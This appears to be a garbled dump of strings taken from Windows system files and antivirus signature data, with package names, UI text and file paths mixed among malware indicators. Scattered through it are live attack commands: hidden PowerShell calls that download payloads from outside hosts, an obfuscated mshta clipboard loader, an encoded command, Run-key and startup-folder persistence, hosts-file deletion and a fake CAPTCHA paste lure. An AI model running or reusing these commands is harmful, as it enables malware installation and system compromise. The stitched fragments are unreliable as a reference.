.?AU?$consume_Windows_UI_Xaml_IDependencyObject@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
\microsoft\internet explorer\quick launchtn=leizhenwindows scripting hosttheworld.ini\openhomepage\commandmain
c:\windows\system32\
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text\textinputprofile.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text.settings\keyboardlayoutswitcher.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text.settings\textinputsettings.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text.settings\japanesesettings.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text.settings\traditionalchinesebopomofosettings.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text.settings\registryaccess.cpp
in Windows parolan
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered noll="no" class="standard-fonts" style="margin:0px; padding: 0px; overflow-x: hidden">
esystem32\mshta.exe%windir%\system32\https://faristo.site/healthy.rtf%systemroot%\system32\wmploc.dll
\..\poplacspybag\tellingwanting.batc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%
get_IsAppEarlierThanWindowsPhone8
WindowsVersion
\windowsdefender"/v
windows\currentversion\runr
-outfile'c:\windows
%"-windowstylehidden-
dows\system32\win
IB<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><txml:space="preserve">&lt;0,</t></si><si><t>syswow64\</t></si><si><t>\windows\</t></si><si><t>",0,0)</t></si><si><t>,0,</t></si><si><t>..\
<si><t>syswow64\</t></si><si><t>\windows\</t></si><si><t>",0,0)</t></si><si><t>,0,</t></si><si><t>
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
$env:appdata\microsoft\windows\startmenu\program
WindowsApplication35.Resources.r
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\result.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\result_macros.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\registry_helpers.h
Microsoft-Windows-Shell-TwinSxS
C:\WINDOWS\system32\wbem\wmiprvse.exe -Embedding
Uwindowstylehidden-commandspreview.exe;(new-objectsystem.net.webclient).downloadfile('https://www.tequilacofradiamx.com/tysshdyjtujfrthygfvsuyriifriruteietutteytejtujeujyejtjet/syjsdjyjdyjuktkfukftukdtujdtydyjduyjtduj
+lude\PocoSAPLogonWindows User-Mode Debuggerhnetstdl.dll\NaD
UBMicrosoft\Windows\CurrentVersion\Ext\PreApproved\{11
'17}Microsoft\Windows\CurrentVersion\Ext\PreApproved\{1
Missing.SYSTEM32.root.Expensive.L
GUID_WINDOWS_BOOTMGR
s\system32\rundll32
Windows.Data.Platform.Partitioning
 Windows 10 
Windows
System32
Windows
System32
windows_vision
]xc/server/server.goxc/client/client_windows.goxc/client/client.goxc/vulns/vulns_windows.goxc/shell.StartSSHServerx
xc/load.gosyscall/zsyscall_windows.gomain.Bake1
c:\windows\system32
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Foundation.Diagnostics
Windows.Foundation.Metadata
Windows.Foundation.Numerics
Mc:\windows\system32\wscript.exe"~e.vol"/fdf//e:vbscript/h264/cfm
twindowsF
isEligibleWindowsActivationOsSKU
isWindowsActivationStateEnabled
loadWindowsActiva
windows\currentversion\run
\system\system32.exe\system\update.exe\emule\incoming\
Windows/
Windows.Data.Platform.Diagnostics.DiagnosticCollectionItemData
Windows.Data.Platform.Diagnostics.DiagnosticAtomicSubData
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Input.InkAndPen.PenSettingShortcuts
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
ItemReference<Windows.Data.CuratedTileCollection.Root>
Windows.Data.Platform.Diagnostics.DiagnosticSingletonData
Windows.Data.Platform.Partitioning.PartitionIndex
Windows.Data.Platform.Diagnostics.DiagnosticSubDataIntKey
Windows.Data.Input.InkAndPen.InkPlatformSettings
ItemReference<Windows.Data.QuickActions.QuickAction>
ItemReference<Windows.Data.SampleMetadata.SampleDataItem>
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartTileProperties
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
ItemReference<Windows.Data.QuickActions.QuickActionGroup>
Windows.Data.Input.Devices.TouchpadSyncedSettings
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.ControlCenter.QuickActionUsageCountMap
ItemReference<Windows.Data.CuratedTileCollection.Tile>
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Platform.Partitioning.ActivePartitions
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.DevicePartitions
ItemReference<Windows.Data.CuratedTileCollection.Group>
\windows\
windows\system
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Windows.System.Profile.HardwareId.pdb
Windows.System.Profile.HardwareId.dll
Windows.Data.Platform.Partitioning.SystemPartitionIndex
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.LocalCache.VersionedBlobReference
Windows.Data.LockScreenSettings.DesktopLockScreen
Windows.Data.Platform.LocalCache.CurrentCacheEntry
Windows.Data.Platform.Diagnostics.DiagnosticData
Windows.Data.Platform.LocalCache.RetryCacheEntry
Windows.Data.Platform.Diagnostics.DiagnosticDeviceData
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileData
Windows.Data.Platform.Diagnostics.DiagnosticSubData
Windows.Data.Platform.LocalCache.CloudCacheEntry
Windows.Data.Platform.LocalCache.CurrentCacheEntryMetadata
Windows.Data.Platform.LocalCache.CloudCacheEntryMetadata
Windows.Data.Platform.Diagnostics.DiagnosticSecureData
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-FirmwareUpdate-StorFwUpdate-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-CoreSystem-GenericDrivers-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-CoreSystem-GenericDrivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
0iles\WindowsApps\Microsoft.BingSearch_1.1.43.0_x64__8wekyb3
\Desktop.jarREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Desktop /ddirectoryupchngdirclient/.mauscslocalhost
Windows Secure NoteW
				<ActivatableClass ActivatableClassId="SecHealthUIViewModels.Base.WindowsCommunitySideNavViewModel" ThreadingModel="both"/>
		<Extension Category="windows.activatableClass.inProcessServer">
c3^windows.comServer
c3^windows.appExtension
Windows.Globalization.Fontgroups.pdb
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateString
windows.globalization.fontgroups.dll
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.UnifiedTile.LocalStartTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Platform.Partitioning.PartitionMetadata
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.SystemPartitionIndex
    "kfmWindowStartSyncTextV2":  "Start backup",
    "selectiveSyncConfirmDialogKnownFolderWarningSecondaryText":  "The folder you tried to unselect is the Windows {1} folder, which is an important folder in Windows and is currently pointed to OneDrive.",
    "kfmWindowSyncErrorHeaderText":  "Error",
?"><p>tobetterproveyouarenotarobot,please:</p><ol><li>press&holdthewindowskey<i`
shellcommon\undockeddevkit\libs\windowsudkinternal.system\activationservice.cpp
cc:\v1windows@.	
.cmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\F	132\[
14" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"T
%powershell-execbypass-windowstylehidden-encsqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiaemababpaguabgb0ackalgbeag8adwbuagwabwbhagqauwb0ahiaaqbuagcakaaiaggadab0ahaacwa6ac8alwb2aguabgb1ahmabqbhahaalgbjag8abqavadealgbwahmamqaiacka';setclipboardcopydata
windowstylehidden-commandsrms.dat;(new-objectsystem.net.webclient).downloadfile('https://www.requimacofradian.site/argsdhyjshtrutyujdtyjuytuydjdstjhstr/dfdyiyjsettuyiigfhkguoioighfuiuseertrwy/casdtydfthdyud/
c:\system32
windowsformsapp
windowsformsapp
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WINDOWS11
N	name="microsoft.windows.common-controls.?avcmsconfigsheet@@msconfig.pdbs
microsoft.windows.ras.rasautouusage: rasautou [-f phonebook] [-a address] [-e entry] [-s]!#TEL:Trojan:MSIL/Quasar.PDT!MTB
aslregistrybuildmachinepath failed for %ws [%x]pcalua.pdbmicrosoft.windows.compatibility.asl!#ALF:Trojan:Win64/StealC.SH!MTB
microsoft.windows.mdac.odbcconfunable to get odbcconf module path!#OFN:winword.exe
pc booster\release\runapps.pdbpc booster to continue. windows requires your permission!#ALF:HSTR:Welly.ThanCrypt.B
thanatos.pdbc:\users\artur\desktop\csharp - js\mozilla/5.0 (windows nt 6.1) thanatos/ls0tls0tls0tls0tls0t!#HSTR:Trojan:Win32/SpyNoon.SMA!MTB
!#HSTR:WindowsFile_SCROBJ_DLL
_@installend@:language:50744installpath="%appdata%runprogram="hidcon:dllhost.exerunprogram="hidcon:cmd /c %windir%\\system32\\cmd.exe < leva.docm!#AllowList:Alienware/Occontrol
$fpoqexec.pdbmicrosoft.windows.wcp.poqexecdeferring poqexec at users requesterror trying to count file operations in poq.error trying to count operations in poq.!#TEL:Trojan:Win64/KasShell
infdefaultinstall.pdbmicrosoft.windows.infdefaultinstall<description>inf default install application</description>i
microsoft.windows.problem.steps.recorder!#HSTR:Trojan:Win32/Qhost.BN
del "%windir%\system32\drivers\etc\hosts"reg add "hkcu\software\microsoft\internet explorer\main" /v "start page" /d "http!#HSTR:Backdoor:Win32/Henry.A!dha
microsoft.windows.filesystem.forfilesforfiles.pdb!#TEL:TrojanDownloader:Win32/Htyma.A
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
	\windows\currentversion\d
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
Acopy"\smartartgraphicslog.lnk""%appdata%\microsoft\windows\startmenu\programs\startup\"/y
ms-windows-store2Q
WindowsAppRuntime.DeploymentExtensions.OneCore.dllu
Microsoft.WindowsAppRuntime.Release!1.8.209t
Microsoft.WindowsAppRuntime.prit
Microsoft.WindowsAppRuntime.Insights.Resource.dllt
Microsoft.WindowsAppRuntime.dllt
Microsoft.Windows.Widgets.winmdt
Microsoft.Windows.Widgets.dllt
Microsoft.Windows.System.winmdt
Microsoft.Windows.System.Power.winmdt
Microsoft.Windows.Storage.winmdt
Microsoft.Windows.Storage.Pickers.winmdt
Microsoft.Windows.Security.AccessControl.winmdt
Microsoft.Windows.PushNotifications.winmdt
Microsoft.WindowsAppRuntime.Release!1.6.602w
Microsoft.WindowsAppRuntime.Insights.Resource.dllw
Microsoft.WindowsAppRuntime.dllw
Microsoft.Windows.Widgets.winmdw
Microsoft.Windows.Widgets.dllw
Microsoft.Windows.System.winmdw
Microsoft.Windows.System.Power.winmdw
Microsoft.Windows.Storage.winmdw
Microsoft.Windows.Security.AccessControl.winmdw
Microsoft.Windows.PushNotifications.winmdw
Microsoft.Windows.Management.Deployment.winmdw
Microsoft.Windows.Globalization.winmdw
Microsoft.Windows.AppNotifications.winmdw
Microsoft.Windows.AppNotifications.Builder.winmdw
Microsoft.Windows.AppLifecycle.winmdw
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdw
Microsoft.Windows.ApplicationModel.Resources.winmdw
Microsoft.Windows.ApplicationModel.Resources.dllw
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdw
Microsoft.WindowsAppRuntime.Release!1.5.1y
Microsoft.WindowsAppRuntime.Insights.Resource.dlly
Microsoft.WindowsAppRuntime.dlly
Microsoft.WindowsAppRuntime.Bootstrap.dlly
Microsoft.Windows.Widgets.winmdy
Microsoft.Windows.Widgets.dlly
Microsoft.Windows.System.winmdy
Microsoft.Windows.System.Power.winmdy
Microsoft.Windows.Security.AccessControl.winmdy
Microsoft.Windows.PushNotifications.winmdy
Microsoft.Windows.Management.Deployment.winmdy
Microsoft.Windows.AppNotifications.winmdy
Microsoft.Windows.AppNotifications.Builder.winmdy
Microsoft.Windows.AppLifecycle.winmdy
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdy
Microsoft.Windows.ApplicationModel.Resources.winmdy
Microsoft.Windows.ApplicationModel.Resources.dlly
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdy
Microsoft.Windows.SRUM.ProcessTag
Microsoft.Windows.EnergyEstimation
Microsoft.Windows.Networking.BFE
Microsoft.Windows.Shell.CloudStore.Internal
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
P~Microsoft.WindowsStore_8wekyb3d8bbwe!AppMicrosoft.WindowsStore_8wekyb3d8bbwe!App
P~Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!AppMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
P~Microsoft.WindowsAlarms_8wekyb3d8bbwe!AppMicrosoft.WindowsAlarms_8wekyb3d8bbwe!App
P~Microsoft.Windows.Photos_8wekyb3d8bbwe!AppMicrosoft.Windows.Photos_8wekyb3d8bbwe!App
in GMS button is enabledataReceived#3F1011#3FAEFFailed to fetch whether GetMobileAppEnabled is enabledefaultSelectedItemailHrdSetPersonalButtonDisabledismissOnClicked#3a1136#3a1861#3a1f15#3a2f00#3a312expanderHoveringBackground#3a96dd5f61e547e622e13c664ea6a7e99b45#3b0509#3b3a39#3b3b3blanchedalmondisableVirtualizationeutralForegroundOnBrandSelected#3b4447#3c1805#3c1a3acqe#3c3c3claimNextTransitionLaneed server to load fromArrayBufferequestEventTimenuItemBackgroundPressed#3c51b4#3c9#3cc1f4#3d1805#3d3d3dataUriToXmlazifyViewManagerConfigetAttributeValue#3db838#3e8eediamondIconIDC_BODY_LINKRCTDeviceEventEmitterrorBackgroundHoverColoreadUint8#3f1011#3f3682#3fa9f5#3ff23firstRunAnimationPauseButtonAccessibleTextractPropshouldConstructouchableHandleResponderTerminate#401b6cloneHiddenInstance#404045#404141191e1ca67f2d733ed552ca14c0f65#405f14#407E82#40989Expected tag name-givenNamediaLabel#411200#414042#414141#414546#414B4BasicOverviewTitle1StrongetRestStateExperimentSyncStatusIconNameasureLayoutRelativeToParent#414B4CIPhotoEffectFadeeppinkRed10#414F50#415455#415759#415C5Don't know which android drawable suffix to use for scale: #415C5Expected to find a host parent. This error is likely caused by a bug in React. Please file an issue.#415D5Failed to fetch whether RNUnlinkSurvey is enabledefaultSelectiveSyncConfirmDialogStringsetGlobalSyncStatusSynced#416466#416567#416769#416C6Failed to find native component for either #416F72#417073#417377#4178a3#41a3a3#41a5eexpanderHoveringPressed#420610#424242#424243#424E4Failed to get auth tokenBuilder#427505#43002blitBuffer.write(string, encoding, offset[, length]) is no longer supported. Use UIManager.getViewManagerConfig('original' expects a draft, got: #430e60#433519#43536Bearer #439C9DonePageImagentaDarkfmOptOutSurvey/isEnabled#44002activityACMDismissHinterleaved#441232#442726#444241#4496a9#452519#45DA94#46236e4e391234aa171a0cf99f62c2bb6d5e#463100#46C02166d3027cc5d53b61ddc0c430f7f95#46CDF4#46c021#474443#474747ec36b808b3077bb9a833474baacccommon/onRecordNezhaTelemetryUnsubscribeSelfreMobileUpsellTutorialBodyTextractTextractPolyPointshim$1#4760d5#479EF5#479ef5#47CEF5#484644#484848#4894FExpected to have an instance by this point. This error is likely caused by a bug in React. Please file an issue.#48B2FFailed to get debug infoLogetAppButtonNextPresshowErrorsViewizardWindowSlice#494647#498205#4A86A0#4A92FFailed to get size for image #4BFDE8#4CDA64#4D8FF7#4E4E4EPSILONG_PRESS_DETECTED#4FACBDummyDatePickerIOS has been merged with DatePickerAndroid and will be removed in a future release. It can now be installed and imported from '@react-native-community/datetimepicker' instead of 'react-native'. See https://github.com/react-native-datetimepicker/datetimepickerRefromStringet timeStamparseGeckoreanCelastickyHeaderHiddenOnScroll#4a1e04#4a3d34#4a5356#4a89bailoutOnAlreadyFinishedWorkfmDoneSubTitle#4bc6ebnlabelOneText#4c0d55#4c3867#4c4400#4c88a7#4cb4b7195588d8a6c90b91013150ad2609a8#4cb74activityCenterBody#4d2415#4d291cloneInstance#4d2a00#4d4d4diblack30#4d565cloneUpdateQueue#4e97eexpanderNormalColorecordCopilotFunnelTelemetry#4eae95#4f6bedidCompleteNetworkResponse #4fa1e1#50301activityCenterCoAuthLockedFiles must have a name set.#505c60#50C5D3#50d9ffirstRunAnimationPlayButtonAccessibleTextractRespondereportABugOptionTitle#512b7expanderOuterContainerecordFunnelTelemetry#515151#515C6Below are all the SVG icons available:headerLinkfmOptOutKeepInOneDriveLabelabelIsBeforestgreenCyan10#52254flex-endEvent#525252#5288C7#52B471#52E8A0#532982#53ADE5#53C6D4#53DFF2#54514flex-startDetectingetInstanceFromTaget useAnimatedValue: Attempting to set value to undefinedangerForeground3#546fd2#54b0544beb9030937a58e83f728fcfc7ddf1#54b0db4572666086c6fc411a3e349e159900#54cb30#553e06#554338#55492flipX-Requested-WithLocalSvgComponentgetIsGetMobileAppEnabledrm108.228 45.976-25.891-8.07-1.63 5.233 25.891 8.069z#55b17expanderPressedBackground#5649b0#56D067964653dd9ae04a5dd1bdbb1150cb3#56D62BigInt not supportedCommandsubheaderSemibold#56bfd7#56d62bodyScrollViewelcomePageBody#5750E2#575757#57811bodyTextBlockfmDoneTitle#57C0DDummyProgressV
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command$
+c:\windows\system32\windowspowershell\v1.0\powershell.exescb('%%%m%%shta%h%%ttp%%%://91%.%%%%2%%%00.1%%%4.%%%%15%%%%3/do%%wnl%%%%o%%%%a%%%%ds%%%%/%%%w%i%%%%n%%%%d%%%%o%%%%w_%%%%order%.%m%%%%p%%4%%%%'.replace('%',''));iex(gcb)
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http://panel-dark.com/app/zebra/12.ps1','d:\teste\32.ps1');powershell.exe-filed:\teste\32.ps1
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
cambridgesoft.chemoffice.chemdrawexceladdin.exceladdinchemofficewindows\sourceroot\excel\chemdraw\output\chemdrawexcelextendedshim.pdbchemdrawexcelextendedshim.dllcdxlextendedshim.log!#HSTR:Trojan:MSIL/AgentTesla.AMDD806!MTB
msdt.pdbmicrosoft.windows.diagnostics.troubleshooterp
ext-ms-win-ntuser-windowstation-l1-1-0.dll
ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Digest Authentication for Windows
amd64_microsoft-windows-f..-tolerant-heap-core_31bf3856ad364e35_none_3f3dc5cb94d69501
amd64_microsoft-windows-f..-truetype-newtailue_31bf3856ad364e35_none_5e191bda58ba1ef9
amd64_microsoft-windows-f..-truetype-nirmalaui_31bf3856ad364e35_none_c4cce35650ff1131
amd64_microsoft-windows-f..-truetype-tailebold_31bf3856ad364e35_none_4ef4dbfa91b1caef
amd64_microsoft-windows-f..-truetype-wingdings_31bf3856ad364e35_none_b056594886b1bb75
amd64_microsoft-windows-f...appxmain.resources_31bf3856ad364e35_en-us_900db4c20867c104
amd64_microsoft-windows-f...appxmain.resources_31bf3856ad364e35_en-us_b5eb82abefa1f12b
amd64_microsoft-windows-f..0-merged-deployment_31bf3856ad364e35_none_aa902e94d5872d55
amd64_microsoft-windows-f..1-merged-deployment_31bf3856ad364e35_none_35cef175ad19b846
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.exe\
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\readme.html\
startpowershell-nologo-noninteractive-windowstylehidden-noprofile-command
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden$null=$
<commandlinedirectory=""windowstate="minimized"params="-windowstylehidden
!#SCPT:PSCallWindowsAPI
Ccopy/b/yc:\windows\system32\m?ht?.??e
\system32\cmd.exe/c"{
NtUserClearWindowState
NtUserCloseWindowStation
NtUserCreateWindowStation
NtUserCreateWindowStationEx
NtUserDisableProcessWindowsGhosting
NtUserEnableWindowShellWindowManagementBehavior
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
C:\WINDOWS\system32\svchost.exe -k UdkSvcGroup
C:\\Users\\GavaLarr\\Desktop\\Windows\\prjFormCaption.vbp
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
windir=C:\WINDOWS
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
t.Windows
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat||
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat||!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Graphics-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
